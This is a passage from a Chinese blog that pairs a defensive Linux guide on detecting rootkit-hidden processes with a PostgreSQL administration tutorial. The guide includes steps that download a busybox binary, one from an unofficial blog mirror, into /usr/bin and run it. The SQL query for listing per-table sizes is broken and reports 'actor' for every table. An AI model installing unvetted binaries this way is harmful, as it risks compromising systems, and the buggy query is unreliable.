此方法可发现用户态 LD_PRELOAD 隐藏，但对内核级 rootkit（直接 hook getdents）无效。

3.2 使用 busybox（静态编译工具）

ubuntu 的 ps、top 等命令动态链接 libc，容易被 LD_PRELOAD 劫持。busybox 是静态编译的，不受影响。

# 安装 busybox
wget https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64
chmod +x busybox-x86_64
mv busybox-x86_64 /usr/bin/busybox

# 若上面下载地址失效，可使用如下地址：
curl -o /usr/bin/busybox https://blog.tag.gg/soft/busybox-x86_64
chmod +x /usr/bin/busybox

# 执行如下命令即可运行 busybox：
busybox top
busybox ps
busybox ls /proc
busybox netstat -anp

3.3 unhide 系列工具

专门用于检测隐藏进程的工具，支持多种检测方法：

# 安装
apt install unhide

# brute 模式：遍历所有可能的 PID
unhide brute

# proc 模式：对比 /proc、/bin/ps、系统调用
unhide proc

# procall 模式：通过系统调用的不同方式交叉验证
unhide procall

# sys 模式：检查被劫持的系统调用
unhide sys

# 反向模式：检测哪些 PID 只出现在 ps 中但 /proc 中不存在
unhide reverse

同类工具补充：

# unhide-tcp：检测隐藏的 TCP/UDP 端口
unhide-tcp

# unhide-linux：Linux 专用
unhide-linux -v

3.4 Rootkit 扫描工具

# rkhunter：检查 rootkit 签名、文件完整性
rkhunter --check --sk

# chkrootkit：检测已知 rootkit
chkrootkit

# 更新特征库
rkhunter --update
chkrootkit --update

3.5 Sysdig / SystemTap 动态追踪

对 eBPF/内核级 rootkit 更有效的检测手段：

# sysdig 查看所有进程事件
sysdig -c topprocs_cpu
sysdig -c lscontainers

# 查看隐藏进程产生的系统调用
sysdig proc.name!="ps" and evt.type=execve

# 列出通过内核事件获取的进程列表
sysdig -p"%proc.pid %proc.name" evt.type=execve | sort -u

3.6 内核模块对比

# 列出已加载模块
lsmod > /tmp/lsmod.txt

# 读取内核模块链表
cat /proc/modules > /tmp/proc_modules.txt

# 检测异常：名字随机、无签名、未使用、来源可疑
modinfo <module_name>

3.7 进程记账 (psacct)

# 安装
apt install acct

# 启动记账
accton /var/log/account/pacct

# 查看最近执行的命令
lastcomm | head -50

# 汇总统计
sa

记账在进程创建/退出时记录，rootkit 很难完全阻止，可作为事后追溯手段。

3.8 网络连接交叉验证

# 多个工具对比网络连接
ss -tunap  > /tmp/ss.txt
netstat -anp > /tmp/netstat.txt
lsof -i -n -P > /tmp/lsof_net.txt

# busybox netstat 对比
busybox netstat -anp > /tmp/busybox_net.txt

# diff 对比差异
diff /tmp/ss.txt /tmp/busybox_net.txt

四、应急响应检测流程

4.1 快速筛查

# 1. 使用 busybox 快速对比
busybox ps auxf

# 2. 检查 /proc 是否完整
busybox ls /proc | grep -E '^[0-9]+$' | wc -l
ls /proc | grep -E '^[0-9]+$' | wc -l
# 两者数量应一致

# 3. 检查可疑进程
busybox ps aux | grep -vE '^root|^daemon|^www|^mysql' | grep -v '^\['

# 4. 高 CPU 进程排查
busybox top -b -n 1 | head -20

4.2 深入排查

# 5. 运行 unhide
unhide brute
unhide procall

# 6. Rootkit 扫描
rkhunter --check --sk

# 7. 检查 LD_PRELOAD
cat /proc/self/maps | grep -i ld_preload
cat /proc/1/environ | tr '\0' '\n' | grep -i ld_preload

# 8. 检查可疑内核模块
lsmod | sort | while read mod size used; do
    echo "=== $mod ==="
    modinfo $mod 2>/dev/null | grep -E 'description|author|license|version'
done

# 9. 检查异常计划任务和自启动
crontab -l 2>/dev/null
ls -la /etc/cron.* 2>/dev/null
systemctl list-units --type=service --state=running | grep -vE '^(●|  )'

4.3 内存取证

# 使用 avml 或 LiME 采集内存镜像
# avml: https://github.com/microsoft/avml
avml /tmp/memory.dmp

# 用 volatility3 分析
vol -f /tmp/memory.dmp linux.pslist
vol -f /tmp/memory.dmp linux.psscan   # 与 pslist 对比找隐藏
vol -f /tmp/memory.dmp linux.check_afinfo
vol -f /tmp/memory.dmp linux.hidden_modules

五、注意事项

busybox 不是万能：如果 rootkit 在内核层面 hook 了 getdents64，busybox 也无法看到隐藏进程。
交叉验证是关键：单一工具不可靠，必须用多个独立工具交叉比对。
疑似挖矿进程：重点排查高 CPU 占用、伪装成系统进程名的进程。用 busybox top 和 cat /proc/*/comm 对比。
内存取证是最后手段：对于高级内核 rootkit，只有通过内存取证（volatility）才能发现。
保留现场：在检测前先保存 ps、lsmod、/proc 等快照，避免 rootkit 感知后自行销毁。

PostgreSQL 数据库管理

Mon, 12 Aug 2024 17:23:00 GMT

PostgreSQL 数据库管理

https://www.sjkjc.com/postgresql/administration/

0x01 PostgreSQL psql 命令

本文介绍了在 PostgreSQL 提供的 psql 工具中的常用的命令。

psql 工具是 PostgreSQL 提供的一个客户端程序。您能使用 psql 工具管理 PostgreSQL 数据库服务器。本文整理了常用的 psql 命令，以便您能够更加有效的管理 PostgreSQL 数据库服务器。

连接 PostgreSQL

要使用 psql 工具管理 PostgreSQL 服务器，请先连接到 PostgreSQL 服务器。命令如下：

psql -d dbname -U  user -W

如果您需要连接一个远程的 PostgreSQL 服务器，请使用如下命令：

psql -h host -p port -d dbname -U  user -W

其中：

-h 参数用于指定远程 PostgreSQL 服务器的主机名或者 IP 地址。默认值为 localhost。
-p 参数用于指定远程 PostgreSQL 服务器的端口号。默认值为 5432。

psql 常用命令

当您使用 psql 登录进 PostgreSQL 服务器以后，您就可以使用下面的命令管理服务器了。

列出所有的数据库

要列出当前 PostgreSQL 数据库服务器中的所有数据库，请使用 \l 或者 \l+ 命令：

\l

或者

\l+

连接到数据库

连接数据库请使用 \c 或者 \connect 命令。

要使用当前用户连接到新的数据库，请使用如下命令：

\c dbname

要使用新的用户连接到当前数据库，请使用如下命令：

\c - username

您可以是用 \connect 替换上面命令中的 \c，他们是等效的。

列出数据库中的表

要列出当前数据库中的表，请使用 \dt 或者 \dt+ 命令：

\dt

或者

\dt+

显示表结构

要显示一个表的结构或定义，比如列，约束等信息，请使用 \d 命令：

\d table_name

比如，要查看 product 表的结构，请使用如下命令：

\d product

testdb=# \d product
                                 Table "public.product"
    Column    |       Type        | Collation | Nullable |           Default
--------------+-------------------+-----------+----------+------------------------------
 id           | integer           |           | not null | generated always as identity
 product_name | character varying |           | not null |
 attributes   | hstore            |           |          |
Indexes:
    "product_pkey" PRIMARY KEY, btree (id)

列出可用模式

要列出当前连接的数据库的所有模式，请使用该 \dn 命令。

\dn

  List of schemas
  Name  |  Owner
--------+----------
 public | postgres

列出可用的函数

要列出当前数据库中的可用函数，请使用该 \df 命令。

\df

                                                    List of functions
 Schema |           Name           |  Result data type  |                   Argument data types                   | Type
--------+--------------------------+--------------------+---------------------------------------------------------+------
 public | akeys                    | text[]             | hstore                                                  | func
 public | avals                    | text[]             | hstore                                                  | func
 public | defined                  | boolean            | hstore, text                                            | func
 public | delete                   | hstore             | hstore, hstore                                          | func
 public | delete                   | hstore             | hstore, text                                            | func
 public | delete                   | hstore             | hstore, text[]                                          | func
 public | each                     | SETOF record       | hs hstore, OUT key text, OUT value text                 | func
 public | exist                    | boolean            | hstore, text                                            | func
 public | exists_all               | boolean            | hstore, text[]                                          | func
 public | exists_any               | boolean            | hstore, text[]                                          | func
 public | fetchval                 | text               | hstore, text                                            | func
 public | ghstore_compress         | internal           | internal                                                | func
 public | ghstore_consistent       | boolean            | internal, hstore, smallint, oid, internal               | func
 public | ghstore_decompress       | internal           | internal                                                | func
 public | ghstore_in               | ghstore            | cstring                                                 | func
 public | ghstore_options          | void               | internal                                                | func
 public | ghstore_out              | cstring            | ghstore                                                 | func
 public | ghstore_penalty          | internal           | internal, internal, internal                            | func
 public | ghstore_picksplit        | internal           | internal, internal                                      | func
 public | ghstore_same             | internal           | ghstore, ghstore, internal                              | func
 public | ghstore_union            | ghstore            | internal, internal                                      | func
 public | gin_consistent_hstore    | boolean            | internal, smallint, hstore, integer, internal, internal | func
 public | gin_extract_hstore       | internal           | hstore, internal                                        | func
 public | gin_extract_hstore_query | internal           | hstore, internal, smallint, internal, internal          | func
 public | hs_concat                | hstore             | hstore, hstore                                          | func
 public | hs_contained             | boolean            | hstore, hstore                                          | func
 public | hs_contains              | boolean            | hstore, hstore                                          | func
 public | hstore                   | hstore             | record                                                  | func
 public | hstore                   | hstore             | text, text                                              | func
 public | hstore                   | hstore             | text[]                                                  | func
 public | hstore                   | hstore             | text[], text[]                                          | func
 public | hstore_cmp               | integer            | hstore, hstore                                          | func
 public | hstore_eq                | boolean            | hstore, hstore                                          | func
 public | hstore_ge                | boolean            | hstore, hstore                                          | func
 public | hstore_gt                | boolean            | hstore, hstore                                          | func
 public | hstore_hash              | integer            | hstore                                                  | func
 public | hstore_hash_extended     | bigint             | hstore, bigint                                          | func
 public | hstore_in                | hstore             | cstring                                                 | func
 public | hstore_le                | boolean            | hstore, hstore                                          | func
 public | hstore_lt                | boolean            | hstore, hstore                                          | func
 public | hstore_ne                | boolean            | hstore, hstore                                          | func
 public | hstore_out               | cstring            | hstore                                                  | func
 public | hstore_recv              | hstore             | internal                                                | func
 public | hstore_send              | bytea              | hstore                                                  | func
 public | hstore_subscript_handler | internal           | internal                                                | func
 public | hstore_to_array          | text[]             | hstore                                                  | func
 public | hstore_to_json           | json               | hstore                                                  | func
 public | hstore_to_json_loose     | json               | hstore                                                  | func
 public | hstore_to_jsonb          | jsonb              | hstore                                                  | func
 public | hstore_to_jsonb_loose    | jsonb              | hstore                                                  | func
 public | hstore_to_matrix         | text[]             | hstore                                                  | func
 public | hstore_version_diag      | integer            | hstore                                                  | func
 public | isdefined                | boolean            | hstore, text                                            | func
 public | isexists                 | boolean            | hstore, text                                            | func
 public | my_time_multirange       | my_time_multirange |                                                         | func
 public | my_time_multirange       | my_time_multirange | VARIADIC my_time_range[]                                | func
 public | my_time_multirange       | my_time_multirange | my_time_range                                           | func
 public | my_time_range            | my_time_range      | time without time zone, time without time zone          | func
 public | my_time_range            | my_time_range      | time without time zone, time without time zone, text    | func
 public | populate_record          | anyelement         | anyelement, hstore                                      | func
 public | skeys                    | SETOF text         | hstore                                                  | func
 public | slice                    | hstore             | hstore, text[]                                          | func
 public | slice_array              | text[]             | hstore, text[]                                          | func
 public | svals                    | SETOF text         | hstore                                                  | func
 public | tconvert                 | hstore             | text, text                                              | func
(65 rows)

列出可用视图

要列出当前数据库中的可用视图，请使用该 \dv 命令。

\dv

列出用户及其角色

要列出所有用户及其分配的角色，请使用 \du 命令：

\du

                                   List of roles
 Role name |                         Attributes                         | Member of
-----------+------------------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

开启查询执行时间

要打开查询执行时间，请使用该 \timing 命令。

\timing
select * from product;

 id | product_name |                          attributes
----+--------------+--------------------------------------------------------------
  2 | Shirt B      | "Color"=>"White", "Style"=>"Business", "Season"=>"Spring"
  1 | Computer A   | "CPU"=>"2.5", "Disk"=>"1T", "Brand"=>"Dell", "Memory"=>"16G"
(2 rows)

Time: 0.281 ms

当您再次运行 \timing 命令，则会关闭查询执行时间。

查看命令历史

要显示命令历史记录，请使用该 \s 命令。

\s

如果要将命令历史保存到文件中，则需要在 \s 命令后指定文件名，如下所示：

\s filename

执行上一条命令

要想执行最近的一条命令，请使用 \g 命令:

\g

\g 可让你避免重新输入上一条命令。

获取 SQL 命令的帮助

要获取 SQL 命令的说明，请使用 \h 命令，如下：

\h sql_command

比如，要获取 TRUNCATE 的帮助说明，请使用如下的命令：

\h TRUNCATE

Command:     TRUNCATE
Description: empty a table or set of tables
Syntax:
TRUNCATE [ TABLE ] [ ONLY ] name [ * ] [, ... ]
    [ RESTART IDENTITY | CONTINUE IDENTITY ] [ CASCADE | RESTRICT ]

URL: https://www.postgresql.org/docs/14/sql-truncate.html

获取 psql 的帮助

要了解 psql 命令的详细用法，请使用 \? 命令

\?

从文件中执行 psql 命令

如果要从文件执行 psql 命令，请 \i 按如下方式使用命令：

\i filename

打开扩展显示

要为 SELECT 语句的结果集打开扩展显示，请使用 \x 命令。

\x
select * from product;

-[ RECORD 1 ]+-------------------------------------------------------------
id           | 2
product_name | Shirt B
attributes   | "Color"=>"White", "Style"=>"Business", "Season"=>"Spring"
-[ RECORD 2 ]+-------------------------------------------------------------
id           | 1
product_name | Computer A
attributes   | "CPU"=>"2.5", "Disk"=>"1T", "Brand"=>"Dell", "Memory"=>"16G"

扩展显示对于显示那些很长的列很有帮助。

如果您再次运行 \x 命令。则回关闭扩展显示。

退出 psql

要退出 psql，您可以使用 \q 命令并按下 enter 退出 psql。

\q

结论

本文向您展示了 psql 工具的常用的命令。

0x02 PostgreSQL 列出数据库

1.查询当前数据库：

终端：\c

sql语句：select current_database();

2.查询当前用户：

终端：\c

sql语句：select user;  或者：select current_user;

本文介绍了在 PostgreSQL 列出数据库的两种方法。

PostgreSQL 提供了两种方法列出 PostgreSQL 服务器中的所有数据库：

在 psql 工具中使用 \l 或者 \l+ 列出所有的数据库。
从 pg_database 表中查询所有的数据库。

使用 `\l` 列出数据库

本实例演示了使用 psql 工具登录数据库并列出数据库的步骤。请按照如下步骤进行：

使用 postgres 用户登录 PostgreSQL 服务器：
```
[~] psql -U postgres
psql (14.4)
Type "help" for help.
```
注意：您也可以使用其他任何具有相应的数据库权限的用户登录。

使用 \l 命令列出所有的数据库，如下：

\l

                              List of databases
  Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges
-----------+----------+----------+---------+---------+-----------------------
postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
          |          |          |         |         | postgres=CTc/postgres
template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +
          |          |          |         |         | postgres=CTc/postgres
testdb    | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
testdb2   | postgres | UTF8     | C.UTF-8 | C.UTF-8 |
(5 rows)

如果要查看更多关于数据库的信息，请使用 \l+ 命令，如下：

\l+

                                                                List of databases
  Name    |  Owner   | Encoding | Collate |  Ctype  |   Access privileges   |  Size   | Tablespace |                Description
-----------+----------+----------+---------+---------+-----------------------+---------+------------+--------------------------------------------
postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |                       | 8529 kB | pg_default | default administrative connection database
template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +| 8377 kB | pg_default | unmodifiable empty database
          |          |          |         |         | postgres=CTc/postgres |         |            |
template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 | =c/postgres          +| 8529 kB | pg_default | default template for new databases
          |          |          |         |         | postgres=CTc/postgres |         |            |
testdb    | postgres | UTF8     | C.UTF-8 | C.UTF-8 |                       | 8897 kB | pg_default |
testdb2   | postgres | UTF8     | C.UTF-8 | C.UTF-8 |                       | 8545 kB | pg_default |
(5 rows)

您可以看到， \l+ 的输出比 \l 多了 Size, Tablespace 和 Description 列。

从 `pg_database` 表中查询数据库

除了上面的 \l+ 和 \l 命令，您还可以从 pg_database 表中查询所有的数据库。

pg_database 表是 PostgreSQL 内置的一个表，它存储了所有的数据库。

SELECT datname FROM pg_database;

  datname
-----------
 postgres
 testdb
 template1
 template0
 testdb2
(5 rows)

结论

PostgreSQL 提供了两种方法列出 PostgreSQL 服务器中的所有的数据库中：

在 psql 工具中使用 \l 或者 \l+ 列出当所有的数据库。
从 pg_database 表中查询所有的数据库。

在 MySQL 中，您可以使用 SHOW DATABASES 命令列出数据库。

0x03 PostgreSQL 复制数据库

本文介绍了在 PostgreSQL 中复制数据库的几种方法

在 PostgreSQL 中，您可以使用以下几种方法复制数据库：

使用 CREATE DATABASE 从模板数据库复制一个数据库。此方法仅适用于在同一个 PostgreSQL 服务器内操作。
备份一个现有的数据库，并将其恢复到一个新的数据库。

从模板数据库复制数据库

有时候，为了数据的安全性，您在操作之前需要先将要操作数据库复制备份。您可以使用 CREATE DATABASE 将此数据库复制为一个新数据库，如下：

CREATE DATABASE new_db
WITH TEMPLATE old_db;

此语句将复制 old_db 数据库到 new_db 数据库。 old_db 必须是模板数据库才能被复制。如果它不是模板数据库，您可以使用 ALTER DATABASE 语句将此数据库修改为模板数据库，如下：

ALTER DATABASE old_db WITH IS_TEMPLATE true;

此方法仅能用在同一个 PostgreSQL 数据库服务器内。如果您想在不同的 PostgreSQL 数据库服务器间复制数据库，请查看 PostgreSQL 备份和恢复教程。

结论

PostgreSQL 允许您使用 CREATE DATABASE 语句复制一个模板数据库。

0x04 PostgreSQL 查看空间

本文介绍了在 PostgreSQL 如何查看数据库、表、索引和表空间的大小。

作为数据库管理者，您经常需要查看数据库的占用空间，这包括数据库、表、索引和表空间的大小，以便为他们分配合理的存储空间。

PostgreSQL 数据库大小

您可以使用 pg_database_size() 函数获取整个数据库的大小。例如，以下语句返回 testdb 数据库的大小：

SELECT pg_database_size('testdb');

 pg_database_size
------------------
          9044483

pg_database_size() 函数以字节为单位返回数据库的大小，这不容易阅读。您可以使用 pg_size_pretty() 函数将字节转为更易于阅读值。如下：

SELECT
  pg_size_pretty(
    pg_database_size('testdb')
  );

该语句返回以下结果：

 pg_size_pretty
----------------
 8833 kB

如果您想要要获取当前数据库服务器中所有数据库的大小，请使用以下语句：

SELECT
  datname,
  pg_size_pretty(pg_database_size(datname)) AS size
  FROM pg_database;

   datname   |  size
-------------+---------
 postgres    | 8561 kB
 template1   | 8401 kB
 template0   | 8401 kB
 testdb      | 8833 kB
 sakila      | 16 MB
 testdb2     | 8521 kB
 test_new_db | 8401 kB

PostgreSQL 表大小

您可以使用 pg_relation_size() 函数获取一个表的大小。例如，以下语句返回 Sakila 示例数据库中的 actor 表的大小：

SELECT
  pg_size_pretty(
    pg_relation_size('actor')
  );

 pg_size_pretty
----------------
 16 kB

pg_relation_size() 函数返回表的数据的大小，不包含表中的索引的大小。如果要获取表的总的大小，请使用 pg_total_relation_size() 函数，如下：

SELECT
  pg_size_pretty(
    pg_total_relation_size('actor')
  );

 pg_size_pretty
----------------
 72 kB

要获取数据库中所有的表的大小，您可以使用如下语句：

SELECT
  tablename,
  pg_size_pretty(pg_total_relation_size('actor')) size
FROM pg_tables
WHERE schemaname = 'public';

      tablename       | size
----------------------+-------
 actor                | 72 kB
 film                 | 72 kB
 payment_p2007_02     | 72 kB
 payment_p2007_03     | 72 kB
 payment_p2007_04     | 72 kB
 payment_p2007_05     | 72 kB
 payment_p2007_06     | 72 kB
 payment_p2007_01     | 72 kB
 address              | 72 kB
 category             | 72 kB
 city                 | 72 kB
 country              | 72 kB
 customer             | 72 kB
 film_actor           | 72 kB
 film_category        | 72 kB
 inventory            | 72 kB
 language             | 72 kB
 rental               | 72 kB
 staff                | 72 kB
 store                | 72 kB
 payment              | 72 kB
 film_copy            | 72 kB
 city_copy            | 72 kB
 film_r               | 72 kB
 film_ranting_g_title | 72 kB

PostgreSQL 索引大小

PostgreSQL pg_indexes_size() 函数用于获取一个指定表上的索引的大小。例如，要获取 actor 表的所有索引的总大小，请使用以下语句：

SELECT
  pg_size_pretty(
    pg_indexes_size('actor')
  );

 pg_size_pretty
----------------
 32 kB

PostgreSQL 表空间大小

PostgreSQL pg_tablespace_size() 函数用于获取一个指定的表空间的大小。

以下语句返回 pg_default 表空间的大小：

SELECT
  pg_size_pretty (
      pg_tablespace_size('pg_default')
  );

 pg_size_pretty
----------------
 67 MB

PostgreSQL 值大小

PostgreSQL pg_column_size() 函数用于获取指定的值占用的空间，例如：

以下语句返回一个 smallint 类型的值的大小：

select pg_column_size(1::smallint);

 pg_column_size
----------------
              2

以下语句返回一个 int 类型的值的大小：

select pg_column_size(1::int);

 pg_column_size
----------------
              4

以下语句返回一个 bigint 类型的值的大小：

select pg_column_size(1::bigint);

 pg_column_size
----------------
              8

结论

本文讲述了几个的函数来获取数据库、表、索引、表空间和值的大小。

0x05 PostgreSQL 列出表

本文介绍了在 PostgreSQL 列出数据库中的表的两种方法。

PostgreSQL 提供了两种方法列出一个数据库中的所有表：

在 psql 工具中使用 \dt 或者 \dt+ 列出当前当前数据库中的所有的表。
从 pg_tables 表中查询所有的表。

使用 `\dt` 列出数据库中的表

本实例演示了使用 psql 工具登录数据库并列出数据库中表的过程。请按照如下步骤进行：

使用 postgres 用户登录 PostgreSQL 服务器：
```
[~] psql -U postgres
psql (14.4)
Type "help" for help.
```
注意：您也可以使用其他任何具有相应的数据库权限的用户登录。
使用以下语句选择 testdb 数据库：
```
\c testdb;
```
如果还未创建数据库，请先运行如下语句：
```
CREATE DATABASE testdb;
```

使用 \dt 命令列出 testdb 数据库中的所有的表，如下：

\dt

            List of relations
Schema |      Name      | Type  |  Owner
--------+----------------+-------+----------
public | mytable        | table | postgres
public | product        | table | postgres
public | test_date      | table | postgres
public | test_time      | table | postgres
public | test_timestamp | table | postgres
public | week_day_sales | table | postgres
(6 rows)

如果要查看更多关于表的信息，请使用 \dt+ 命令，如下：

\dt+

                                          List of relations
Schema |      Name      | Type  |  Owner   | Persistence | Access method |    Size    | Description
--------+----------------+-------+----------+-------------+---------------+------------+-------------
public | mytable        | table | postgres | permanent   | heap          | 16 kB      |
public | product        | table | postgres | permanent   | heap          | 16 kB      |
public | test_date      | table | postgres | permanent   | heap          | 8192 bytes |
public | test_time      | table | postgres | permanent   | heap          | 8192 bytes |
public | test_timestamp | table | postgres | permanent   | heap          | 8192 bytes |
public | week_day_sales | table | postgres | permanent   | heap          | 8192 bytes |
(6 rows)

您可以看到， \dt+ 的输入比 \dt 输出多了 Persistence, Access method, Size 和 Description 列。

从 `pg_tables` 表中查询表

除了上面的 \dt 和 \dt+ 命令，您还可以从 pg_tables 表中查询当前数据中的所有的表。

pg_tables 表是 PostgreSQL 内置的一个表，它存储了数据库中的所有的表。

SELECT * FROM pg_tables
WHERE schemaname = 'public';

 schemaname |   tablename    | tableowner | tablespace | hasindexes | hasrules | hastriggers | rowsecurity
------------+----------------+------------+------------+------------+----------+-------------+-------------
 public     | test_date      | postgres   |            | t          | f        | f           | f
 public     | test_time      | postgres   |            | t          | f        | f           | f
 public     | test_timestamp | postgres   |            | t          | f        | f           | f
 public     | week_day_sales | postgres   |            | t          | f        | f           | f
 public     | mytable        | postgres   |            | f          | f        | f           | f
 public     | product        | postgres   |            | t          | f        | f           | f
(6 rows)

结论

PostgreSQL 提供了两种方法列出一个数据库中的所有表：

在 psql 工具中使用 \dt 或者 \dt+ 列出当前数据库中的所有的表。
从 pg_tables 表中查询所有的表。

在 MySQL 中，您可以使用 SHOW TABLES 命令列出数据库。

0x06 PostgreSQL 查看表

本文介绍了在 PostgreSQL 查看数据表的定义或结构的两种方法。

PostgreSQL 提供了两种方法查看一个现有的表的定义或者结构：

在 psql 工具中使用 \d 或者 \d+ 列出当前数据库中的所有的表。
从 information_schema.columns 中查询表中的列。

使用 `\d` 查看表的信息

本实例演示了使用 psql 工具登录数据库并查看表信息的详细步骤。请按照如下步骤进行：

使用 postgres 用户登录 PostgreSQL 服务器：
```
[~] psql -U postgres
psql (14.4)
Type "help" for help.
```
注意：您也可以使用其他任何具有相应的数据库权限的用户登录。
使用以下语句选择 testdb 数据库：
```
\c testdb;
```
如果还未创建数据库，请先运行如下语句：
```
CREATE DATABASE testdb;
```

以下语句使用 \d 命令查看 test_date 表的结构，如下：

\d test_date

                        Table "public.test_date"
   Column   |  Type   | Collation | Nullable |           Default
------------+---------+-----------+----------+------------------------------
 id         | integer |           | not null | generated always as identity
 date_value | date    |           | not null | CURRENT_DATE
 Indexes:
    "test_date_pkey" PRIMARY KEY, btree (id)

您可以看到，\d 输出了表的名字、表中的列，表中的约束等信息。

如果要查看更多关于 test_date 表的信息，请使用 \d+ 命令，如下：

\d+ test_date

                                                   Table "public.test_date"
   Column   |  Type   | Collation | Nullable |           Default            | Storage | Compression | Stats target | Description
------------+---------+-----------+----------+------------------------------+---------+-------------+--------------+-------------
 id         | integer |           | not null | generated always as identity | plain   |             |              |
 date_value | date    |           | not null | CURRENT_DATE                 | plain   |             |              |
 Indexes:
    "test_date_pkey" PRIMARY KEY, btree (id)
 Access method: heap

您可以看到， \d+ 的输入比 \d 输出多了 Compression, Stats target 和 Description 列。

从 information_schema 中查看表中的所有列

information_schema 是一个系统级的 Schema, 其中提供了一些视图可以查看表、列、索引、函数等信息。

该 information_schema.columns 目录包含有关所有表的列的信息。

以下语句从 information_schema.columns 中查询 test_date 表的所有的列：

SELECT
   table_name,
   column_name,
   data_type,
   column_default
FROM
   information_schema.columns
WHERE
   table_name = 'test_date';

 table_name | column_name | data_type | column_default
------------+-------------+-----------+----------------
 test_date  | id          | integer   |
 test_date  | date_value  | date      | CURRENT_DATE
(2 rows)

以上语句返回了 test_date 表的所有的列的信息，包括列名，数据类型，默认值。

结论

PostgreSQL 提供了两种方法查看一个现有的表的定义或者结构：

在 psql 工具中使用 \d 或者 \d+ 列出当前当前数据库中的所有的表。
从 information_schema.columns 中查询表中的列。

在 MySQL 中，您可以使用 DESCRIBE 命令列出查看表中的列。

0x07 PostgreSQL 复制表

本文介绍了在 PostgreSQL 中复制表的几种方法

在 PostgreSQL 中，您可以使用以下几种方法复制一个表到一个新表：

使用 CREATE TABLE ... AS TABLE ... 语句复制一个表。
使用 CREATE TABLE ... AS SELECT ... 语句复制一个表。
使用 SELECT ... INTO ... 语句复制一个表。

使用 `CREATE TABLE ... AS TABLE ...` 语句复制一个表

要将已有的 table_name 表复制为新表 new_table，包括表结构和数据，请使用以下语句：

CREATE TABLE new_table
AS TABLE table_name;

如果仅复制表结构，不复制数据，请在以上 CREATE TABLE 语句中添加 WITH NO DATA 子句，如下所示：

CREATE TABLE new_table
AS TABLE table_name
WITH NO DATA;

使用 `CREATE TABLE ... AS SELECT ...` 语句复制一个表

您还可以使用 CREATE TABLE ... AS SELECT ... 语句复制一个表。这种方法可以复制部分数据到新表中。

要将已有的 table_name 表复制为新表 new_table，包括表结构和数据，请使用以下语句：

CREATE TABLE new_table AS
SELECT * FROM table_name;

如果您只需要复制部分满足条件的数据，请在 SELECT 语句中添加 WHERE 子句，如下：

CREATE TABLE new_table AS
SELECT * FROM table_name
WHERE contidion;

如果您只需要复制部分列到新表，请在 SELECT 语句中指定要复制的列的列表，如下：

CREATE TABLE new_table AS
SELECT column1, column2, ... FROM table_name
WHERE contidion;

如果您只需要复制表结构，请按如下方式使用 WHERE 子句：

CREATE TABLE new_table AS
SELECT * FROM table_name
WHERE 1 = 2;

这里在 WHERE 子句中使用了一个永远为假的条件。

使用 `SELECT ... INTO ...` 语句复制一个表

要使用 PostgreSQL SELECT INTO 语句将已有的 table_name 表复制为新表 new_table，请使用以下语法：

SELECT *
INTO new_table
FROM table_name

如果您只需要复制部分满足条件的数据，请添加 WHERE 子句，如下：

SELECT *
INTO new_table
FROM table_name
WHERE contidion;

如果您只需要复制部分列到新表，请在 SELECT 语句中指定要复制的列的列表，如下：

SELECT column1, column2, ...
INTO new_table
FROM table_name
WHERE contidion;

结论

本文阐述了在 PostgreSQL 中复制表的几种方法。注意，这几种方法都只能复制列的定义和数据，都不能将索引复制过去。

0x08 PostgreSQL 备份和恢复

本文介绍如何使用 pg_dump 和 pg_dumpall 备份 PostgreSQL 数据库以及如何使用 pg_restore 恢复 PostgreSQL 数据库。

PostgreSQL 提供了 pg_dump 和 pg_dumpall 工具，帮助您轻松地备份数据库，同时，PostgreSQL 提供了 pg_restore 工具，帮助您轻松的恢复数据库。

作为数据库管理员，备份和恢复是必备的技能。 PostgreSQL 为我们提供了很多方便的工具或命令来做到这些。

备份数据库的工具或命令：

pg_dump 工具用于备份单个 PostgreSQL 数据库
pg_dumpall 工具用于备份 PostgreSQL 服务器中的所有的数据库。

恢复数据库的工具或命令：

pg_restore 工具用于恢复由 pg_dump 工具产生的 tar 文档和目录文档。
psql 工具可以导入 pg_dump 和 pg_dumpall 工具产生的 SQL 脚本文件。
\i 命令可以导入 pg_dump 和 pg_dumpall 工具产生的 SQL 脚本文件。

使用 `pg_dump` 备份一个数据库

PostgreSQL 自带了 pg_dump 工具用于备份单个 PostgreSQL 数据库。以下是一个常用的备份命令：

pg_dump -U username -W -F t db_name > output.tar

说明：

-U username: 指定连接 PostgreSQL 数据库服务器的用户。您可以在 username 位置使用自己的用户名。
-W: 强制 pg_dump 在连接到 PostgreSQL 数据库服务器之前提示输入密码。按回车后， pg_dump 会提示输入 postgres 用户密码。
-F : 指定输出文件的格式，它可以是以下格式之一：
- c: 自定义格式
- d: 目录格式存档
- t: tar 文件包
- p: SQL 脚本文件
db_name 是要备份的数据库的名字。
output.tar 是输出文件的路径。

如果您在命令行或者终端工具中运行命令是提示找不到 pg_dump 工具，请先导航到 PostgreSQL bin 文件夹。例如：

C:\>cd C:\Program Files\PostgreSQL\14\bin

使用 `pg_dumpall` 备份所有数据库

除了 pg_dump 工具，PostgreSQL 还提供了可以一次备份所有数据库的 pg_dumpall 工具备份。该 pg_dumpall 工具的用法如下：

pg_dumpall -U username > output.sql

使用 `pg_restore` 恢复数据库

PostgreSQL 提供了 pg_restore 工具用于恢复由 pg_dump 工具产生的 tar 文档和目录文档。

pg_restore 工具的用法如下：

pg_restore [option...] file_path

说明：

file_path 是要恢复的文件或者目录的路径。

option

是一些恢复数据时用到的参数，比如，数据库，主机，端口等。您可以使用如下选项：

参数	说明
`-a` `--data-only`	只恢复数据，而不恢复表模式（数据定义）。
`-c` `--clean`	创建数据库对象前先清理（删除）它们。
`-C` `--create`	在恢复数据库之前先创建它。
`-d dbname` `--dbname=dbname`	与数据库 dbname 联接并且直接恢复到该数据库中。
`-e` `--exit-on-error`	如果在向数据库发送 SQL 命令的时候碰到错误，则退出。缺省是继续执行并且在恢复结束时显示一个错误计数。
`-f filename` `--file=filename`	声明生成的脚本的输出文件，或者出现-l 选项时用于列表的文件，缺省是标准输出。
`-F format` `--format=format`	声明备份文件的格式。
`-i` `--ignore-version`	忽略数据库版本检查。
